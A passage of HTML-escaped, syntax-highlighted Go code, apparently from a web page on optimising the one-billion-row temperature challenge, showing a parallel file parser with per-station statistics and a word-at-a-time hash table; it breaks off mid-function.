&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">Broadcast0x01&lt;/span> = &lt;span style="color:#ae81ff">0x0101010101010101&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">Broadcast0x80&lt;/span> = &lt;span style="color:#ae81ff">0x8080808080808080&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">r10Stats&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r10&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">output&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Writer&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">parts&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">splitFile&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>, &lt;span style="color:#a6e22e">maxGoroutines&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">resultsCh&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">chan&lt;/span> &lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">r10Stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">parts&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#a6e22e">r10ProcessPart&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span>.&lt;span style="color:#a6e22e">offset&lt;/span>, &lt;span style="color:#a6e22e">part&lt;/span>.&lt;span style="color:#a6e22e">size&lt;/span>, &lt;span style="color:#a6e22e">resultsCh&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">totals&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">r10Stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>; &lt;span style="color:#a6e22e">i&lt;/span> &amp;lt; len(&lt;span style="color:#a6e22e">parts&lt;/span>); &lt;span style="color:#a6e22e">i&lt;/span>&lt;span style="color:#f92672">++&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">result&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span>&lt;span style="color:#a6e22e">resultsCh&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">result&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">totals&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">ts&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">totals&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>] = &lt;span style="color:#a6e22e">s&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">continue&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ts&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, len(&lt;span style="color:#a6e22e">totals&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">totals&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> = append(&lt;span style="color:#a6e22e">stations&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Strings&lt;/span>(&lt;span style="color:#a6e22e">stations&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stations&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">totals&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprintf&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r10ProcessPart&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">fileOffset&lt;/span>, &lt;span style="color:#a6e22e">fileSize&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>, &lt;span style="color:#a6e22e">resultsCh&lt;/span> &lt;span style="color:#66d9ef">chan&lt;/span> &lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">r10Stats&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">file&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">file&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">_&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> = &lt;span style="color:#a6e22e">file&lt;/span>.&lt;span style="color:#a6e22e">Seek&lt;/span>(&lt;span style="color:#a6e22e">fileOffset&lt;/span>, &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">SeekStart&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">LimitedReader&lt;/span>{&lt;span style="color:#a6e22e">R&lt;/span>: &lt;span style="color:#a6e22e">file&lt;/span>, &lt;span style="color:#a6e22e">N&lt;/span>: &lt;span style="color:#a6e22e">fileSize&lt;/span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">item&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">key&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stat&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">r10Stats&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">const&lt;/span> &lt;span style="color:#a6e22e">numBuckets&lt;/span> = &lt;span style="color:#ae81ff">1&lt;/span> &lt;span style="color:#f92672">&amp;lt;&amp;lt;&lt;/span> &lt;span style="color:#ae81ff">17&lt;/span> &lt;span style="color:#75715e">// number of hash buckets (power of 2)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">items&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#a6e22e">item&lt;/span>, &lt;span style="color:#a6e22e">numBuckets&lt;/span>) &lt;span style="color:#75715e">// hash buckets, linearly probed&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> &lt;span style="color:#75715e">// number of active items in items slice&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#ae81ff">1024&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">1024&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">readStart&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Read&lt;/span>(&lt;span style="color:#a6e22e">buf&lt;/span>[&lt;span style="color:#a6e22e">readStart&lt;/span>:])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> panic(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">readStart&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">readStart&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">n&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">newline&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">LastIndexByte&lt;/span>(&lt;span style="color:#a6e22e">chunk&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">newline&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">remaining&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">newline&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[:&lt;span style="color:#a6e22e">newline&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunkLoop&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">hash&lt;/span> &lt;span style="color:#66d9ef">uint64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">after&lt;/span> []&lt;span style="color:#66d9ef">byte&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> len(&lt;span style="color:#a6e22e">chunk&lt;/span>) &amp;lt; &lt;span style="color:#ae81ff">8&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span> &lt;span style="color:#a6e22e">chunkLoop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nameWord0&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">binary&lt;/span>.&lt;span style="color:#a6e22e">NativeEndian&lt;/span>.&lt;span style="color:#a6e22e">Uint64&lt;/span>(&lt;span style="color:#a6e22e">chunk&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">matchBits&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">semicolonMatchBits&lt;/span>(&lt;span style="color:#a6e22e">nameWord0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">matchBits&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// semicolon is in the first 8 bytes&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nameLen&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">calcNameLen&lt;/span>(&lt;span style="color:#a6e22e">matchBits&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nameWord0&lt;/span> = &lt;span style="color:#a6e22e">maskWord&lt;/span>(&lt;span style="color:#a6e22e">nameWord0&lt;/span>, &lt;span style="color:#a6e22e">matchBits&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[:&lt;span style="color:#a6e22e">nameLen&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">after&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">nameLen&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hash&lt;/span> = &lt;span style="color:#a6e22e">calcHash&lt;/span>(&lt;span style="color:#a6e22e">nameWord0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// station name is longer so keep looking for the semicolon in&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75715e">// uint64 chunks&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nameLen&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">8&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">hash&lt;/span> = &lt;span style="color:#a6e22e">calcHash&lt;/span>(&lt;span style="color:#a6e22e">nameWord0&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">nameLen&lt;/span> &amp;gt; len(&lt;span style="color:#a6e22e">chunk&lt;/span>)&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">8&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span> &lt;span style="color:#a6e22e">chunkLoop&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">lastNameWord&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">binary&lt;/span>.&lt;span style="color:#a6e22e">NativeEndian&lt;/span>.&lt;span style="color:#a6e22e">Uint64&lt;/span>(&lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">nameLen&lt;/span>:])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">matchBits&lt;/span> = &lt;span style="color:#a6e22e">semicolonMatchBits&lt;/span>(&lt;span style="color:#a6e22e">lastNameWord&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">matchBits&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nameLen&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">calcNameLen&lt;/span>(&lt;span style="color:#a6e22e">matchBits&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[:&lt;span style="color:#a6e22e">nameLen&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">after&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">nameLen&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
